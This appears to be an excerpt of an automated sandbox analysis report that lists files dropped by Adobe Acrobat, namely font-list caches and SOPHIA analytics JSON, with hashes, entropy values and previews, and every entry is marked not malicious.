Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.5936

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.5936

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.365220508345595
Encrypted:	false
SSDEEP:	6:YEQXJ2HXNNZ2/JH0nZiQ0Y4HWEeoAvJM3g98kUwPeUkwRe9:YvXKXNNZ290cd2EVGMbLUkee9
MD5:	35BEC144F448C34024828B164A940510
SHA1:	105B04200DD23BC9514515E6D719CF3D17F8DA6F
SHA-256:	0B76681DAE083A9B85531E1C343142D3DA401AA8F292C9F5B4B424DFD7E7BBE9
SHA-512:	1555932A54DA71B9054AF10C245E847B1EB86D5202467E2DC4CFBF042CFF3A9A71D21A7C73124D5F607EEA3C78FF2130FFD39F605E5301BDFD0FDAE0AD681389
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"58dc8195-edeb-4e0a-b6bf-f7d97580d33f","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736950365902,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.315757908066097
Encrypted:	false
SSDEEP:	6:YEQXJ2HXNNZ2/JH0nZiQ0Y4HWEeoAvJfBoTfXpnrPeUkwRe9:YvXKXNNZ290cd2EVGWTfXcUkee9
MD5:	7F7C876A4E9301149E2966DB1565F5D0
SHA1:	633D92560074BC19CF9EC822F8BA5C5001C648EC
SHA-256:	8E3B1CE671E7EF87D24CFCFE176AECFBEB2AFD0EB0CD31843B656E8301C21618
SHA-512:	C82020FAA14C0C8AD96390CFE62225C62CA7D3EEF25F57030193EFE1715E4B2A53398B6B90D696A133B6DC0221DAF2A25E9F8BF8B059D20A1A4FD66E3F28A626
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"58dc8195-edeb-4e0a-b6bf-f7d97580d33f","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736950365902,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.295025701980766
Encrypted:	false
SSDEEP:	6:YEQXJ2HXNNZ2/JH0nZiQ0Y4HWEeoAvJfBD2G6UpnrPeUkwRe9:YvXKXNNZ290cd2EVGR22cUkee9
MD5:	20BB08E642B7356BA5D90794EFB95C96
SHA1:	5F0BED8F72F892BF60302B7586E8EB39832E8178
SHA-256:	BA9D9AA3A9A00BD6B1001DE27EFB0A22AB28AF5763A18A5CF36BE6F8BC86286F
SHA-512:	AB64B8E62DB8C74C28F2B86C31837A9D67482298A6880E535DF2D496818CF3D3893C6F1987C02AE86077DF6256F52B78E8CDB4B0F9AB728B5641AB368C406770
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"58dc8195-edeb-4e0a-b6bf-f7d97580d33f","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736950365902,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.345308246185967
Encrypted:	false
SSDEEP:	6:YEQXJ2HXNNZ2/JH0nZiQ0Y4HWEeoAvJfPmwrPeUkwRe9:YvXKXNNZ290cd2EVGH56Ukee9
MD5:	D492D6283100B2439ED06F1E6402AFF5
SHA1:	5BC17FA960018B953FD398DB1B66482778BADBF8
SHA-256:	5D54956015E4E550B1C5693FD9BBA96364102947FEDDF90E6AB1B6D9479B54D4
SHA-512:	4A02A264A0E952C60D70186E773E5E3C357CD5F9C963C0B9DC92317C1F56C6F5F1E56C60D3B3006BF048A083552B411F8DE9AAD3639C3291E900DC2AFC56F0FA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"58dc8195-edeb-4e0a-b6bf-f7d97580d33f","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736950365902,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.68591191047359
Encrypted:	false
SSDEEP:	24:Yv6XjM9Zx6pLgE9cQx8LennAvzBvkn0RCmK8czOCCSj:Yvshgy6SAFv5Ah8cv/j
MD5:	BE386BE4D77BE7E0717AC78413966D4B
SHA1:	1206BBA238CCA036FC1EF342AE56DC1AAD02A70C
SHA-256:	E324AAB7A819A373C1C0053D45BF6B0A03332D40E639E97048382F93145068C4
SHA-512:	7616E0CCC95C63658E7F30C91502C51055A170F5B0CBC9D079AA00BEA67130EDB017B670972F433AF5992DCE90EE59DD80A630E1A1EEE81C0D9B4D3DB8C38304
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"58dc8195-edeb-4e0a-b6bf-f7d97580d33f","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736950365902,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.292643979429235
Encrypted:	false
SSDEEP:	6:YEQXJ2HXNNZ2/JH0nZiQ0Y4HWEeoAvJf8dPeUkwRe9:YvXKXNNZ290cd2EVGU8Ukee9
MD5:	B4E4650746A3230839427101BA8E7A93
SHA1:	6B46675FF5AAABA304D93C102C9CF784AB212714
SHA-256:	0D5F320D77728F29FE2E0EC20DDD591D940ECF9BD37A7525E32E87230A36A761
SHA-512:	696C63C620E22A2E6450A7E506013CCC6AA9B87B62535788BE277BACE5EC21975742855217BB6242B60FDEC9C0FBB5799A2D6B7AADDDD1704C591DAB7043CA06
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"58dc8195-edeb-4e0a-b6bf-f7d97580d33f","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736950365902,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.294788183015788
Encrypted:	false
SSDEEP:	6:YEQXJ2HXNNZ2/JH0nZiQ0Y4HWEeoAvJfQ1rPeUkwRe9:YvXKXNNZ290cd2EVGY16Ukee9
MD5:	8DC33B728CC9B60A1ABF7E4B1AFEE811
SHA1:	DDFAA633601E5C1A923DC202A655C122694DBC71
SHA-256:	122900610F8E812FCAAE7088842E33B9B8639917840051749023DF5EED186884
SHA-512:	8EA810AEC0A4B69001A1548229C735F49BEB48355560172D07063E34D64B94ADCDDB22C4D911D0CF7F309A51169D971A14B9621F54783495DA7CFB71BF5EDF9D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"58dc8195-edeb-4e0a-b6bf-f7d97580d33f","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736950365902,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.3010769889342075
Encrypted:	false
SSDEEP:	6:YEQXJ2HXNNZ2/JH0nZiQ0Y4HWEeoAvJfFldPeUkwRe9:YvXKXNNZ290cd2EVGz8Ukee9
MD5:	ED2C18E91B131D0E6E92333A0D6E503E
SHA1:	AEB72FDD007C9EB09808F2197DA10D1D5F247F6E
SHA-256:	81F5FBCEF8F1980E8C1345FFAA138C884C368028A0BA1CDF572B3DEC2A38B40B
SHA-512:	60CFFF6F10E6A5E105399535C48EC4A416526460D3DC41642D6F7F12ECE1F6B27B570B8CD009C0D413A73A90DF1361200CF9816847334D50C1D439A2CC97E33B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"58dc8195-edeb-4e0a-b6bf-f7d97580d33f","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736950365902,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.318996300950015
Encrypted:	false
SSDEEP:	6:YEQXJ2HXNNZ2/JH0nZiQ0Y4HWEeoAvJfzdPeUkwRe9:YvXKXNNZ290cd2EVGb8Ukee9
MD5:	D81F9CE6837DDD0F0D6C970944B3591B
SHA1:	13069B120AD563E7A66F1E13BE756A0D03FDE8A0
SHA-256:	D6283C42037F6679D4DDE08B9B443F114FC051B4025339E3E53AD43824488FE3
SHA-512:	90D362A6B4BF628DC30ECCECB325A6CA9CD89A8911EEF6DA442A02F2D1C07F4A5510E12765785CC5FE285716958B18BF01A04233E55BD071F8F37B3CA2A8CC3B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"58dc8195-edeb-4e0a-b6bf-f7d97580d33f","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736950365902,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.2993385996293725
Encrypted:	false
SSDEEP:	6:YEQXJ2HXNNZ2/JH0nZiQ0Y4HWEeoAvJfYdPeUkwRe9:YvXKXNNZ290cd2EVGg8Ukee9
MD5:	1572608E52161928B3BCA7FF6688DB64
SHA1:	C4FA311C1D6084DB2E9C616EADDCDDC8C1818F36
SHA-256:	F487D8B3B1A05070C4200DFE88C64637AE15534CAAB9B191260B34E3D591959A
SHA-512:	4F59441FFA02E5AC83489D605C30501FFCE83974390BFDEB8331494A27F677EC4E3BD67537E8D800DC9D5939EC0BFDF2E5B8E4A2C29228B147069F18CE275618
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"58dc8195-edeb-4e0a-b6bf-f7d97580d33f","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736950365902,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.285958681699983
Encrypted:	false
SSDEEP:	6:YEQXJ2HXNNZ2/JH0nZiQ0Y4HWEeoAvJf+dPeUkwRe9:YvXKXNNZ290cd2EVG28Ukee9
MD5:	01C399F4EDA6530AEC00773C3B682F1A
SHA1:	3909D837BAA0510930F669EA413FCF4280567558
SHA-256:	886F8BC89CFAF34C7D2093ED704D6A23A7ABBFE8C09785CBF5B061A01699AE01
SHA-512:	11084D7704BCB99D362AF42CF9151B0ABB99BD80BACAB17F716D30801FB30AA877DFE5C82CE45E63DA56328F3B5989EAB30AC46BC44E9F618E7D70783AC23175
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"58dc8195-edeb-4e0a-b6bf-f7d97580d33f","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736950365902,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.28289024301025
Encrypted:	false
SSDEEP:	6:YEQXJ2HXNNZ2/JH0nZiQ0Y4HWEeoAvJfbPtdPeUkwRe9:YvXKXNNZ290cd2EVGDV8Ukee9
MD5:	C945E55BE197F96422E224FE28D5520C
SHA1:	C442DCE654FFDE61FFC97EAFCA86DD5B98441445
SHA-256:	377838F2A4F5AC6492B4D7B94E41F01B1E6A3D463DE2B6006AC1AB1D2C736E7A
SHA-512:	FD50CCD5F485281D181A1E4E3541158855B41AA9637B3B7D491C3B6F96310A0F0C56FA7A10B8BC5D9CF338F67252E9A8D605964944BB8DFB986A27D35BAFB57B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"58dc8195-edeb-4e0a-b6bf-f7d97580d33f","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736950365902,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.285948027943903
Encrypted:	false
SSDEEP:	6:YEQXJ2HXNNZ2/JH0nZiQ0Y4HWEeoAvJf21rPeUkwRe9:YvXKXNNZ290cd2EVG+16Ukee9
MD5:	6E332559D17A75450F64C6273A2043DA
SHA1:	F12C3F6677453427BA17401E3581F91B9942818C
SHA-256:	1A0A73DD021B85AC4218E11D0E5641EB77CDDD6E25223F809F7112997BC0D8EE
SHA-512:	649638D2931C83371850AE8B1D3F48C3694CE31E99185A7DA41BE065AC4D57C04A47032C111330EDA795C3FB7A6B285AD6DB2601C4A9D828EAE26F70E5B6AA76
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"58dc8195-edeb-4e0a-b6bf-f7d97580d33f","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736950365902,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.661530974041722
Encrypted:	false
SSDEEP:	24:Yv6XjM9ZxmamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSM:YveBgkDMUJUAh8cvMM
MD5:	03C6FEE34566A94B6B7D433A6BD00BBB
SHA1:	5432C5D6C0F98B02505B6ACCAA42C601A2662973
SHA-256:	E09DD24E966939C36873610E10B8FCBA0A37887D8E6EF5A4AF91CECF76D98370
SHA-512:	42C46AF0369EEF0883BE8974E9E4C96E680B4310E8615830E18F0DBB318B93C0EEDFE3D7DDA2212D7334E93B084703C5DF65D914CE73B09C7C6B9F28B151824D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"58dc8195-edeb-4e0a-b6bf-f7d97580d33f","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736950365902,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for 